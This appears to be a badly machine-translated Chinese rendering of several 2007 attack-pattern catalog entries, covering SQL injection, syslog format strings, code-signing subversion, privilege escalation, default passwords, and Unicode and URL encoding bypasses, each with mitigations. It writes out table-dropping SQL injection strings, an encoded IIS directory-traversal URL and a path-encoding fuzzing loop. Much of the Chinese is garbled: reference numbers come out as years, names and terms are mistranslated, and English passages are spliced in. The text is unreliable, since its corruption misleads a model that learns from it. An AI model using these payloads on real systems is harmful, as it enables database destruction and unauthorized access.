嗅探和捕获应用程序代码被攻击者获得受害者客户机上执行的代码。这可以包括二进制代码,如补丁、更新和applet,以及脚本代码,如Javascript代码。与二进制代码,如包括在更新或applet,它可能会逆向工程代码。如果这样做,攻击者可以从这样的代码提取密码或加密字符串。在这方面,该模式的上下文是一个componenent(应用程序/操作系统/系统)支持应用程序更新。很有可能攻击者拥有的授权已经正常使用。重要的是要记住,代码如Javascript web应用程序的一部分,在客户机上分流一些处理,因此可以包含敏感信息。例如,应用程序可能会使用某种形式的加密加密内容传输到服务器之前,反过来解密服务器的响应。嗅探和捕获这样的代码也可以揭示潜在的敏感信息和可能影响应用程序的安全。 319年 有针对性的 311年 二次 318年 二次 693年 有针对性的 719年 有针对性的 37 更详细的 在客户机代码中不存储秘密吗 所有潜在的敏感数据,包括代码,传输到客户端必须加密 不要假设你的秘密是安全的 保护最薄弱的环节 正确使用著名的加密 使用的身份验证机制,在适当情况下,正确 侦察 剥削 媒介 客户机-服务器 所有 所有 所有 约翰·史蒂文 Cigital公司 2007-02-10 最初的核心模式内容 Chiradeep b Chhaya Cigital公司 2007-02-23 充实模式与额外的内容 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致相关的攻击模式的变化 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 这种攻击利用目标软件,构造基于用户输入的SQL语句。攻击者工艺输入字符串,这样当目标软件构造基于输入SQL语句,生成的SQL语句执行行为以外的其他应用程序。应用程序的SQL注入的结果从失败中适当验证输入。当精雕细琢组成的用户控制输入SQL语法使用没有适当的验证作为SQL查询的一部分,可以从数据库收集信息的方式而不是在应用程序设计期间设想。根据数据库和应用程序的设计,也可以利用注入的数据库执行攻击者选择的系统相关的命令。SQL注入攻击者可以直接对话到数据库,因此完全绕过应用程序。成功注射可能导致信息披露以及添加或修改数据库中的数据的能力。为了成功地注入SQL和从数据库中检索信息,攻击者: 问卷调查应用程序 攻击者首先需要一个公开的库存的功能的应用程序。 蜘蛛网站所有可用的链接 env-Web 嗅探网络通信与应用程序使用WireShark等效用。 env-ClientServer env-Peer2Peer env-CommProtocol 至少一个数据输入到应用程序确定。 没有输入到应用程序确定。注意,只是因为不确定输入并不意味着应用程序将不接受任何。 确定用户可控输入容易注入 确定用户可控输入容易注入。为每个用户可控输入容易受到SQL注入攻击者怀疑,试图注入具有特殊意义的字符在SQL(单引号等字符,一个双引号字符,两个连字符,paranthesis,等等)。我们的目标是创建一个SQL查询语法是无效的。 使用web浏览器将输入文本字段或通过HTTP GET参数。 env-Web 使用一个web应用程序调试工具如篡改数据,TamperIE, WebScarab,等等。修改HTTP POST参数,隐藏字段,non-freeform字段等。 env-Web 使用网络级数据包注入工具如netcat注入输入 env-Web env-ClientServer env-Peer2Peer env-CommProtocol 使用修改客户端(由逆向工程修改)注入输入。 env-ClientServer env-Peer2Peer env-CommProtocol 攻击者从服务器接收正常反应。 env-Web env-ClientServer env-Peer2Peer env-CommProtocol 攻击者从服务器接收一条错误消息显示有问题的SQL查询。 env-Web env-ClientServer env-Peer2Peer env-CommProtocol 服务器发送一个特定的错误消息表明编程解析输入的数据(例如NumberFormatException) env-Web env-ClientServer env-Peer2Peer env-CommProtocol 至少有一个用户可控输入容易注入发现。 没有发现用户可控输入容易注入。 在意想不到的SQL关键字搜索并提醒应用程序日志(例如选择,下降,等等)。 输入验证的用户控制数据之前包括SQL查询 使用参数化查询(例如Java PreparedStatement, Command.Parameters.Add()来设置查询参数在。net) 实验,试图利用SQL注入漏洞 在确定一个给定的输入是容易受到SQL注入,假设底层查询是什么样子。反复尝试添加逻辑查询从数据库中提取信息,或修改或删除数据库中的信息。 使用公共资源,如“SQL注入小抄”在http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/,并尝试不同的方法来添加逻辑SQL查询。 env-Web env-ClientServer env-Peer2Peer env-CommProtocol 添加逻辑查询,并使用从服务器调试查询详细的错误消息。例如,如果一个查询添加一个单引号导致一个错误消息,试着:“' OR 1 = 1;——”,或者别的什么语法假设查询完成。迭代优化查询。 env-Web env-ClientServer env-Peer2Peer env-CommProtocol 使用“盲目SQL注入”技术提取的信息数据库模式。 env-Web env-ClientServer env-Peer2Peer env-CommProtocol 如果一个拒绝服务攻击目标,尝试堆积查询。这并不是在所有平台上工作(最明显的是,它不工作在Oracle或MySQL)。试着输入的例子包括:“‘;删除表SYSOBJECTS;——“和”);删除表SYSOBJECTS;——“。这些特定的查询可能不会奏效,因为SYSOBJECTS表通常是受保护的。 env-Web env-ClientServer env-Peer2Peer env-CommProtocol 在前一步成功的结果。 env-Web env-ClientServer env-Peer2Peer env-CommProtocol 上一步的结果失败。 env-Web env-ClientServer env-Peer2Peer env-CommProtocol 攻击者实现的目标系统的未经授权的访问、拒绝服务等。 攻击者无法利用SQL注入漏洞。 SQL查询应用程序使用的存储、检索或修改数据。 用户可控输入不正确验证应用程序SQL查询的一部分。 非常高的 注射 与PHP-Nuke 7.9和更早的版本上,攻击者可以成功访问和修改数据,包括用户名和密码散列等敏感内容,通过SQL注入和妥协的应用程序。对SQL注入的保护机制采用黑名单输入验证方法。然而,由于不当的黑名单,可以注入内容如“foo”/ * * /联盟”或“foo / * * /”绕过验证和从数据库中收集敏感信息。 cve - 2006 - 5525 低——这是相当简单的人来说,基本的SQL执行SQL注入、知识。然而,在某些情况下,可能需要使用特定的知识数据库。 没有一个 攻击者试图注入字符会导致SQL错误,如单引号(')或关键词如“联盟”和“或”。如果注入这些字符输入SQL错误原因和由此产生的错误显示过滤,攻击者可以开始确定输入验证的性质和结构的SQL查询。一个典型的错误造成这种注射的样子:“你有一个错误在您的SQL语法。检查你的手册正确的语法使用附近)从db_users.user_table” 可用的设计文档和代码,攻击者能够确定是否所有用户可控输入验证,以及结构的SQL查询,这样输入提要。 太多的错误或无效的查询到数据库,特别是那些畸形造成的输入。 强大的输入验证,所有用户可控的输入必须验证和过滤非法字符以及SQL内容。关键字如工会、选择或插入必须过滤除字符如单引号(')或sql注释(——)基于上下文的出现。 使用参数化查询或存储过程参数化原因被限制在特定的输入域,如字符串或整数,以外的任何输入这些域被认为是无效的,查询失败。注意,SQL注入可能甚至在存储过程的存在,如果最终动态构造查询。 使用自定义的错误页面,攻击者可以收集信息的本质从描述性查询错误消息。输入验证必须加上自定义的错误页面,通知一个错误没有披露信息数据库或应用程序。 数据修改 信息泄漏 运行任意代码 特权升级 SQL注入的结果因素的结合。主要原因是缺乏适当的输入验证。在缺乏这样的验证,就可以将任意内容,如代码,输入。第二个最重要的原因是使用动态SQL查询。这是一个误解,即使用存储过程使应用程序SQL注入免疫。重要的是输入参数化提供一个额外的防线,应该输入验证失败。另一个因素,让攻击者辨别信息的结构查询和使用默认的错误页面和应用程序错误处理不当。描述错误页面必须仅用于调试目的。攻击者的动机是注入虚假内容输入不正确验证和使用SQL查询的一部分。由此产生的错误页面显示时,攻击者可以确定查询的结构以及内部系统信息,导致SQL注入成功。 An important distinction needs to be made concerning first-order and second-order SQL Injection. With first-order injection, the results of injection are observed immediately in the form of an error message or a successful query resulting in attaining the attacker's motive. However, there are instances when the results of a successful injection are observed when a different query is executed or a different user accesses the application. For example, an attacker may enter ';DELETE recipes;-- as input to a favorite recipe question. When the application is subsequently requested to retrieve details of the attacker's favorite recipe, a query such as: "SELECT descr FROM recipes WHERE recipe='"+rs.getString("Favorite")+"'"; results in the following being executed: "SELECT descr FROM recipes WHERE recipe='';DELETE recipes;-- which is valid SQL syntax and results in deletion of an entire table. This method of SQL Injection that involves subsequent access to injected data is known as second-order SQL Injection. 用户可控输入作为non-parameterized SQL查询的一部分:这可能包括在web表单输入字段,甚至向用户提供文件中的数据或命令行参数。 旨在揭示信息或恶意代码运行SQL语句 后端数据库 当恶意SQL执行内容的数据库,它可以导致任意查询被执行,导致信息披露,未经授权的访问、权限升级,可能系统妥协。 89年 有针对性的 74年 二次 20. 二次 390年 二次 697年 二次 713年 二次 707年 二次 7 更抽象 在用户可控输入特殊字符必须在使用应用程序之前逃走了。 只使用参数化存储过程查询数据库。 输入数据必须重新检验它的参数化存储过程。 自定义错误页面必须用于处理异常,这样他们不会透露任何信息的体系结构的应用程序或数据库。 不愿相信 没有安全 深度防御 从不使用输入指令的任何内部组件 安全处理所有错误 渗透 剥削 所有 所有 所有 所有 CWE - SQL注入 CWE——输入验证 CWE——错误处理不当 Chiradeep B Chhaya 2007-01-12 第二稿 马利克Hamro Cigital公司 2007-02-27 重新格式化新模式和审查 肖恩·巴纳姆 Cigital公司 2007-03-05 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致变化的描述和相关的攻击模式 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 这种攻击目标的格式字符串漏洞syslog()函数。攻击者通常注入恶意输入的格式字符串参数syslog功能。这是一个常见的问题,很多公共的漏洞和相关的利用已经发布。 1 -攻击者发现,他可以注入数据的格式字符串参数Syslog ()。 2 -攻击者创建一个恶意输入并将它注入格式字符串参数。从现在起,攻击者可以exeute任意代码和做更多的伤害。 的格式字符串参数Syslog功能可以与用户supplid污染数据。 非常高的 注射 格式字符串漏洞在2.1前ntop TraceEvent函数允许远程攻击者执行任意代码,导致格式字符串被注入到syslog调用函数,通过(1)一个HTTP GET请求,(2)在HTTP身份验证用户名,或(3)在HTTP身份验证密码。 cve - 2002 - 0412 如果应用程序的源代码可用,攻击者可以使用静态分析工具发现syslog脆弱性(一个简单的grep也可能工作)。 如果源代码不可用,自动化工具如Fuzzer和可以使用先进的网络扫描器。如果工具提供的数据到达syslog的格式字符串参数,下的程序审查可能意想不到的行为。 如果源代码不可用,更complexe技术涉及图书馆的使用和系统调用示踪剂结合使用二进制审计工具如IDA Pro。逆向工程技术可以用来找到syslog函数调用格式字符串漏洞。例如可以获得地址的缓冲区后用作读取数据时的格式字符串 代码应该检查滥用Syslog的函数调用。可以使用手动或自动代码审查。评论家需要确保所有格式字符串函数通过一个静态字符串,不能由用户控制,适当的数量的参数总是发送到该函数。如果可能的话,不要使用格式化字符串% n运营商。下面的代码显示了一个正确的使用Syslog ():……syslog (LOG_ERR“% s”, cmdBuf);…下面的代码显示了一个脆弱的使用Syslog ():……syslog (LOG_ERR cmdBuf);/ /缓冲cmdBuff将用户提供的数据。… 运行任意代码 拒绝服务 特权升级 数据修改 格式字符串漏洞当你认真思考这件事的时候,格式字符串漏洞本质上是相对简单的。一个API调用,需要一个格式字符串(即。,% s)时,可以利用格式字符串参数是由攻击者远程控制的。不幸的是,问题的存在主要是由于懒惰的程序员。然而,问题是这么简单,它可以自动检测到扫描仪使用简单的代码。因此,一旦格式字符串漏洞公布在1990年代末,这是在大多数软件快速追捕和消除。这里是一个简单的函数,它受到一个格式字符串的问题:空白some_func (char * c) {printf (c);} 不受信任的用户提供的数据注入向量。 如果恶意构造的数据可以读取从堆栈传递到Syslog功能作为一种格式字符串。 的签名syslog功能如下:“空白syslog (int优先,const char *格式,…);“A vulnerable usage would be : "syslog(LOG_ERR, cmdBuf);" where cmdBuf is a user controlled data which leads to a format string vulnerability. The activation zone is the format String argument which accepts user supplied data. 这种攻击的影响可以执行任意代码。执行任意代码会导致许多问题,如腐败的数据,未经授权的访问等。 120年 二次 134年 有针对性的 74年 二次 20. 二次 680年 有针对性的 697年 有针对性的 cve - 2002 - 0573 格式字符串在恶劣syslog调用函数 cve - 2001 - 0717 格式字符串在恶劣syslog调用函数 cve - 2002 - 0412 格式字符串在恶劣syslog调用函数 通过格式字符串缓冲区溢出 更详细的 选择一种语言不受这个缺陷。 不要使用Syslog()实现。 使用手动或自动代码审查中发现潜在的格式字符串漏洞等功能Syslog (), Vsyslog (), snprintf(),等等。 不愿相信 验证输入的大小有限。 如果消息是来自外部源,检查% s类型参数,并确保不会被覆盖。 不要使用文本格式字符串从外部来源。 渗透 剥削 所有 所有 所有 所有 C c++ g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 CWE -缓冲错误 利用格式字符串漏洞,可鄙的人/团队,都是http://doc.bughunter.net/format-string/exploit-fs.html Halvar片状,“审计二进制代码安全漏洞”,http://www.blackhat.com/presentations/bh-europe- 00 / HalvarFlake / HalvarFlake.ppt 加强漏洞的分类:http://vulncat.fortifysoftware.com/1/FS.html增强软件(www.fortifysoftware.com) Syslog人页面:http://www.rt.com/man/syslog.3.html g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-03-01 Eric Dalci Cigital公司 2007-02-13 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-05 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致相关的攻击模式的变化 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 因为语言使用代码签名设施来保证代码的身份和因此领带代码分配特权在一个环境中,颠覆这种机制可以帮助攻击者不断升级的特权。任何方式的颠覆一个虚拟机执行代码签名的方式分类为这种风格的攻击。这种模式不包括环境通过签名密钥被偷了。 基于框架的语言支持代码签名(如,最常见的Java或. net) 部署代码编写供应商,签订或合作伙伴。 攻击者,大多数情况下,也需要能够将代码放在受害者容器。这并不一定意味着他们将不得不颠覆host-level安全,除非显式地表示。 非常高的 欺骗 API滥用 在旧版本(3.0 b4)的网景浏览器攻击者能够蒙骗恶意Applet到客户机的浏览器可以执行“魔法外套”攻击。在这种攻击中,违法的Applet实现自己的getSigners()方法。该实现将使用包含VM的api来获取其他Applet的签名(通过调用_their_ getSigners()方法),如果任何运行Applet privileged-enough签名,恶意Applet将继承的特权是(比喻)穿上别人的外套。 一些(老)web浏览器允许脚本语言,比如Javascript调用Java代码签名。在这种情况下,浏览器的VM impli——心理状态会选择不进行堆栈检查跨语言(称为Java调用Javascript)签署并将短路“true”在语言边界。这样做意味着VM将允许任何签署内(外)脚本调用特权功能代码而不受惩罚,导致它们吸引攻击的牺牲品。 无符号代码加载到内核的能力的早期版本的Vista和旁路完整性检查是颠覆的一个例子。概念验证,可以绕过signature-checking机制Vista使用加载设备驱动程序。 高:颠覆代码签名并不是一个简单的活动。大多数代码签名和验证计划是基于使用加密和攻击者需要有一个好的详细地理解这些密码操作。另外攻击者也需要意识到的方式访问的内存分配和容器,通常,颠覆代码签名的唯一方法是补丁代码在内存中。最后,知识签名和验证代码的特定于平台的机制是必须的。 攻击者不需要特殊资源以外的上市pre-requisities为了进行这种风格的攻击。 理解、甚至利用某些标志或环境变量的影响在代码签名。 非托管代码引入容器管理的环境 一个给定的代码签名方案可能因不当使用加密的。开发人员必须从来没有推出自己的密码,也不应该现有原语被修改或忽略。 如果攻击者不能直接攻击方案,他可能试图改变环境影响签名和验证过程。可能的缓解是避免依赖旗帜或用户可控的环境变量。 特权升级 这类攻击发生的环境通常是基于vm的语言,如Java或. net,所描述的这种模式的pre-requisities部分。然而,这并不是必要的。代码签名方案旨在操作基于c(或相似的)软件也可能容易受到类似的弱点。攻击者必须为漏洞探测容器在其代码签名,验证,和堆栈检查计划。可以通过各种直接或边信道技术。这些技术包括,但不限于,观察的影响某些操作系统标志代码签名过程,寻找弱点在验证算法实现的容器或其他方式旨在引导代码签名或验证方案接受恶意代码。攻击者还必须调查任何签名的代码存在的他们希望利用(如给出的示例)。对于伪造签名(真空)增加特权,这一步不是必需的。 325年 有针对性的 328年 有针对性的 cve - 2006 - 5201 在Sun Solaris多个包,包括(1)NSS;(2)早8和Java JDK和JRE 5.0更新,SDK和JRE 1.4。1.4.2_12 x,和SDK 1.3 JRE。x 1.3.1_19;(3)JSSE 1.0.3_03早;(4)IPSec /艾克;(5)安全全球桌面;(6)StarOffice,当使用一个RSA密钥与指数3,删除PKCS-1填充生成散列之前,它允许远程攻击者伪造PKCS # 1 v1.5签名,签署了RSA密钥,防止这些产品正确验证x和其他证书使用PKCS # 1。 cve - 2006 - 4790 核实。c GnuTLS 1.4.4之前,当使用一个RSA密钥与指数3 digestAlgorithm不妥善处理多余的数据。参数字段生成散列时,它允许远程攻击者伪造PKCS # 1 v1.5签名签署的RSA密钥并防止GnuTLS正确使用PKCS的检验证书和其他证书,cve - 2006 - 4339的一个变体。 正确使用著名的加密 剥削 客户机-服务器 SOA 所有 所有 所有 约翰·史蒂文 Cigital公司 2007-02-10 最初的核心模式内容 Chiradeep b Chhaya Cigital公司 2007-02-23 充实模式与额外的内容 这种攻击目标以更高权限运行的程序。攻击者会试图利用一个错误在运行的程序和权限提升得到执行任意代码。例如攻击者会寻找写系统目录的程序或注册表键(比如HKLM商店很多关键的Windows环境变量)。这些程序通常使用高特权和通常没有安全而设计的。这些项目都是很好的利用目标因为他们休息时产生大量的权力。恶意用户尝试执行其代码作为特权系统调用在同一水平上。 1 -权限提升攻击者探测器的运行的程序。 2 -攻击者发现一个错误在程序运行与提升特权。 3 -攻击者利用她发现的bug。例如她可以尝试注入和执行任意代码或写操作系统资源。 目标程序运行和提高操作系统的特权。 目标程序接受来自用户的输入数据或从另一个程序。 目标程序不执行正确输入验证。 安全目标计划并不失败。例如当一个程序失败可能授权限制访问任何人。 缓冲区溢出等有针对性的程序有漏洞可以利用如果恶意用户可以注入多组数据。例如缓冲区溢出中断程序执行,并使其运行攻击者提供的额外的代码。如果程序在攻击提升权限的操作系统,攻击者可以提升它的特权(如有根级访问)。 目标程序泄露自己的信息。在执行类似的袭击之前,最终攻击者可能需要收集的信息服务的主机上运行的目标。主机目标越详细对正在运行的服务(应用程序的版本号等)可以被攻击者收集的更多信息。 这种攻击通常需要直接与主机通信目标服务。例如Telnet可能足以与主机通信的目标。 非常高的 非常高的 注射 API滥用 协议处理 洪水 低:攻击者可以使用一个工具来扫描和自动发起攻击的已知问题。工具也可以重复序列的指令并试图暴力破解主机上的服务目标,将洪水技术的一个例子。中等到高:更高级的攻击可能需要协议使用主机服务的知识。 探测技术包括起毛(发送随机数据为了失败主机上的服务目标),蛮干(自动化工具),网络扫描,以确定哪些服务是可用的和在目标主机上运行。 有免费的工具从主机目标调查和收集信息。例如,攻击者可以发现大量的目标并没有打补丁收集这些信息。 的日志可以跟踪异常活动。如果检测到异常活动主机上的目标。例如洪水应被视为不正常的活动和目标主机可以决定采取适当的行动以减轻攻击(数据过滤和审查)。资源枯竭也异常活动的标志。 攻击者可以通过锻造试图隐藏她的攻击主机的日志。攻击者有兴趣模仿一个合法的调用程序或服务受到威胁。 应用最小特权原则。 验证所有不可信的数据。 应用最新的补丁。 扫描你的服务和禁用不需要的和不必要的接触。表面暴露程序增加了攻击。只需要公开的服务和安全认证等机制构建。 避免暴露信息系统(例如,版本的程序)匿名用户。 确保安全程序或服务失败。如果突然中断的通信协议,发生什么?如果一个参数丢失,发生了什么?你的系统有抵抗和resiliance攻击吗?失败安全出现资源耗尽的时候。 如果可能的话,使用一个沙箱模型,限制了程序可以采取的行动。沙箱限制程序的一组特权和命令程序很难或不可能造成任何伤害。 检查您的程序的缓冲区溢出和格式字符串漏洞从而导致执行恶意代码。 监控交通和资源使用和注意如果出现资源耗尽。 保护你的日志文件和日志锻造从未经授权的修改。 运行任意代码 特权升级 拒绝服务 安全编程指南的引用最小特权原则(见构建安全软件(Viega和麦格劳,2001),例如)。问题是,大多数代码不是被设计来使用最小特权。通常的代码将无法正常运转,如果访问限制放置。可悲的是,许多这样的项目很可能是写不需要管理员或根访问,但他们不是。因此,今天的软件运行太多系统广泛的特权。考虑特权要求调整视角全景,全系统视图。(这是一个优秀的黑客技巧,你应该内化。)通常操作系统是服务提供必要的权限和访问控制检查,但是很多程序不正确坚持最小特权的概念,所以他们滥用OS和请求太多特权(通常是没有被告知“不”)。此外,程序的用户可能会或可能不会注意到这个问题,但是你可以放心,攻击者。非常有趣的技术之一是在沙箱中运行一个目标计划并检查每个调用和操作的安全上下文(这是更容易在先进平台像Java 2)。特权问题很可能表面在这锻炼,从而提供最富有的形式的攻击之一。 250年 有针对性的 264年 有针对性的 217年 二次 15 二次 cve - 2004 - 0213 在Windows 2000发射winhlp32实用程序经理。exe实用程序管理器运行时和特权,它允许本地用户获得系统权限通过“粉碎”式的攻击,发送一个Windows消息导致效用经理推出winhlp32通过直接访问上下文敏感的帮助和绕过GUI,然后发送另一个消息winhlp32为了打开一个用户选择文件,一个不同的漏洞比cve - 2003 - 0908。 8 更详细的 偶尔之前 9 更详细的 偶尔之前 10 更详细的 偶尔之前 67年 更详细的 偶尔之前 用户必须经过身份验证的,如果她调用一个有特权的程序。 不愿相信 最小特权 不安全 深度防御 任何指南相关的缓冲区溢出和格式字符串漏洞。 补丁程序与供应商的最新补丁。 确保日志的完整性 验证所有不可信的输入 剥削 所有 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 CWE:未能保护存储的数据修改 CWE:设置操作 CWE:经常滥用特权的管理 CWE:权限,权限和访问控制 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-03-01 Eric Dalci Cigital公司 2007-02-13 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-05 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致名称的变化 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 攻击者可能尝试某些常见(默认)用户名和密码进入系统和执行未经授权的操作。攻击者可能尝试一个智能蛮力使用已知供应商默认凭证以及常见的用户名和密码的字典。许多供应商产品预配置了默认的(因此众所周知)应该删除的用户名和密码之前在生产环境中使用。这是一个常见的错误忘了删除这些默认的登录凭证。另一个问题是,用户会选择非常简单(常见)密码(如。“秘密”或“密码”),使攻击者更容易访问系统相比,使用蛮力攻击,甚至使用一个完整的字典字典攻击。 基于密码的身份验证的系统使用一个因素。 媒介 蛮力 用户Bob将密码设置为“123”。如果系统没有密码强度对声音密码策略执行,这个密码可能会承认。这样一个简单的数字序列是一种最常见的密码和是容易被攻击者可推测的。 思科2700系列无线定位设备(2.1.34.0和更早的版本)一个默认管理员用户名与密码“密码”“根”。这允许远程攻击者很容易获得管理权限。 cve - 2006 - 5288 低:攻击者只需要获得普遍默认的用户名/密码具体使用的技术系统。此外,蛮力攻击利用常见的密码很容易意识到如果知道用户名。 技术或供应商特定的默认用户名和密码列表。 试图确定哪些产品是用于系统的实现。确定是否有默认的账户与这些产品有关。 系统检测到许多不正确的登录尝试。 试图欺骗的IP地址,这样看上去不像不正确的登录尝试都来自同一台计算机。 删除所有默认账户凭证可能由产品供应商。 实现一个密码节流机制。这种机制应该考虑IP地址和登录用户的名称。 建立一个强大的密码政策,确保所有用户创建密码遵守它。或者为用户自动生成强密码。 密码需要回收,防止衰老,这是每隔一段时间必须选择一个新的密码。 特权升级 521年 有针对性的 262年 有针对性的 263年 有针对性的 693年 有针对性的 16 更抽象 偶尔也会遵循 49 偶尔也会遵循 更抽象 55 偶尔也会遵循 没有安全 渗透 媒介 所有 所有 所有 所有 尤金Lebanidze Cigital公司 2007-02-26 肖恩·巴纳姆 Cigital公司 2007-03-01 审查和修订的内容 攻击者可能会提供一个unicode字符串的系统组件unicode的了解和使用,绕过过滤器或导致无法正确理解请求分类机制。这可能允许攻击者滑过去的恶意数据内容过滤和/或可能导致应用程序路由请求不正确。Unicode编码字符串是一个系统在一个16位表示字符从许多不同的语言可以代表。Unicode涉及使用2字节为每一个字符,而没有按惯例单字节的ASCII编码中找到。任何系统是unicode意识到可能有能力将unicode字符串转换为ASCII字节字符串。如果系统的母语或正在使用的api需要正常字节字符串,然后从unicode系统可以提供翻译。 尝试unicode编码的部分输入为了试图通过过滤器。例如,ce,某些字符编码的URL(例如点和sleshes)攻击者可能试图访问受限制的资源保护的web服务器或强迫浏览页面上(因此颠覆授权服务)。攻击者也可以尝试其他风格注入攻击使用这种攻击模式:命令注入,SQL注入等。 在数据上执行过滤不适当的规范化。 媒介 修改的资源 API滥用 注射 在IIS服务器攻击的例子:Unicode编码一个很常见的Unicode技术攻击包括遍历目录寻找有趣的文件。这个想法应用于Web的一个例子是http://target.server/some_directory/../../.。/ winnt在这种情况下,攻击者试图穿越到一个目录不应该是标准的Web服务的一部分。关键是相当明显的,因此许多Web服务器和脚本阻止。然而,使用替代编码技巧,攻击者可以绕过过滤器严重实现请求。2000年10月,一个黑客公开透露,微软的IIS服务器遭受这个问题的一种变体。在IIS的情况下,所有的攻击者所要做的就是提供替代编码点和/或斜杠发现在一个典型的攻击。unicode翻译。收益率C0 AE / C0 AF \公债收益率C1 9 c使用这种转换,前面显示URL可以编码为http://target。服务器/ some_directory / % C0AE / % C0AE / % C0AE % C0AE / % C0AE % C0AE / winnt cve - 2000 - 0884 介质:攻击者需要理解unicode编码和有一个想法(或可以找到)系统组件可能不是unicode意识到什么。 Unicode编码的数据传递给api在出乎意料的时候 确保系统是Unicode敏感并能妥善处理Unicode数据。不要做一个假设在ASCII数据。 确保过滤或输入验证应用于规范化数据。 假设所有的输入是恶意的。创建一个白名单,它定义了所有有效的输入软件系统根据需求规格说明书。输入不匹配白名单不应被允许进入系统。 特权升级 运行任意代码 数据修改 拒绝服务 构建“等效”请求大量的命令解析或过滤。在许多情况下一个过滤器只考虑一个特定的格式命令的方法。事实是,相同的命令通常可以编码在成千上万的不同方式。在许多情况下,另一个编码的命令将产生相同的结果与原始命令。因此,两个命令看起来不同于一个过滤器的逻辑角度最终生产相同的语义。在许多情况下,一个编码或者命令可以用来攻击软件系统,因为替代命令允许攻击者执行一个操作,否则将会被阻塞。API层映射一个好的方法来帮助识别和地图可能替代编码包括编写一个小程序,遍历所有可能的输入给定的API调用。这个程序可以为例,试图对文件名进行编码以多种方式。每次迭代的循环,“mungified”文件名可以传递给API调用和结果。下面的代码片段循环通过许多可能的值,可以用作前缀字符串\用法。 Results of running a program like this can help us to determine which characters can be used to perform a ../../ (dots and slashes) relative traversal attack. int main(int argc, char* argv[]) { for(unsigned long c=0x01010101;c != -1;c++) { char _filepath[255]; sprintf(_filepath, "%c%c%c%c\\test.txt", c >> 24, c >> 16, c >> 8, c&0x000000FF ); try { FILE *in_file = fopen(_filepath, "r"); if(in_file) { printf("checking path %s\n", _filepath); puts("file opened!"); getchar(); fclose(in_file); } } catch(...) { } } return 0; } Slight (but still automatic) modifications can be made to the string in creative ways. Ultimately, the modified string boils down to an attempt to use different tricks to obtain the same file. For example, one resulting attempt might try a command like this: sprintf(_filepath, "..%c\\..%c\\..%c\\..%c\\scans2.txt", c, c, c, c); A good way to think about this problem is to think of layers. The API call layer is what the examples shown here are mapping. If an engineer has placed any filters in front of the API call, then these filters can be considered additional layers, wrapping the original set of possibilities. By pondering all the possible inputs that can be provided at the API layer, we can begin uncovering and exercising any filters that the software has in place. If we know that the software definitely uses file API calls, we can try all kinds of filename encoding tricks that we know about. If we get lucky, eventually one set of encoding tricks will work, and we can get our data successfully through the filters and into the API call. Drawing on the techniques described in Chapter 5, we can list a number of possible escape codes that can be injected into API calls (many of which help with the filter avoidance problem). If the data are eventually being piped into a shell, for example, we might be able to get control codes to take effect. A particular call may write data to a file or a stream that are eventually meant to be viewed on a terminal or in a client program. As a simple example, the following string contains two backspace characters that are very likely to show up in the terminal’s execution: write("echo hey!\x08\x08"); When the terminal interprets the data we have passed in, the output will be missing the last two characters of the original string. This kind of trick has been used for ages to corrupt data in log files. Log files capture all kinds of data about a transaction. It may be possible to insert NULL characters (for example, %00 or '\0') or to add so many extra characters to the string that the request is truncated in the log. Imagine a request that has more than a thousand extra characters tacked on at the end. Ultimately, the string may be trimmed in the log file, and the important telltale data that expose an attack will be lost. Character Conversion Cases where one part of the software converts data before the data are passed on to the next part also make good targets. In these “data chains,” characters often get converted many times. For example, if a user supplies the + character to a standard-issue Web server, it will be converted into a space before it’s used on the file system. From G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. 176年 有针对性的 171年 有针对性的 179年 有针对性的 180年 有针对性的 173年 有针对性的 172年 有针对性的 184年 有针对性的 183年 有针对性的 74年 有针对性的 20. 有针对性的 697年 有针对性的 692年 有针对性的 使用替代编码绕过验证逻辑 更详细的 64年 类似的 79年 类似的 72年 类似的 43 类似的 规范化数据执行任何验证之前或过滤。注意替代编码。 渗透 媒介 媒介 所有 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 CWE——输入验证 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-03-01 尤金Lebanidze Cigital公司 2007-02-26 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-05 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致改变名称,相关的攻击模式 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 这种攻击目标的编码的URL。攻击者可以利用多种方式编码的URL和滥用的解释URL。一个URL可能包含特殊字符处理需要特殊的语法来解释。特殊字符表示使用百分比字符后跟两位数字代表八隅体代码的原始字符(% HEX-CODE)。例如us - ascii空格字符将用% 20表示。这通常称为转义结束或百分比编码。由于服务器解码从请求URL,它可能会限制访问一些URL路径通过验证和过滤URL请求。攻击者会试图工艺具有一系列特殊字符的URL曾经由服务器解释将相当于一个禁止的URL。很难抵御这种攻击自编码的URL可以包含其他格式如utf - 8编码,unicode编码等。攻击者也可以颠覆意义的请求URL字符串编码数据通过GET请求发送到服务器。例如攻击者可能颠覆意义的参数用于SQL请求和发送通过URL字符串(参见示例部分)。 1 -攻击者访问服务器使用一个特定的URL。 2 -攻击者试图将一些特殊字符编码的URL。攻击者发现一些字符不正确过滤。 3 -攻击者工艺品恶意URL字符串请求并将其发送到服务器。 4 -服务器URL字符串解码和解释。不幸的是由于输入过滤做得不恰当,特殊字符可能产生有害的后果。 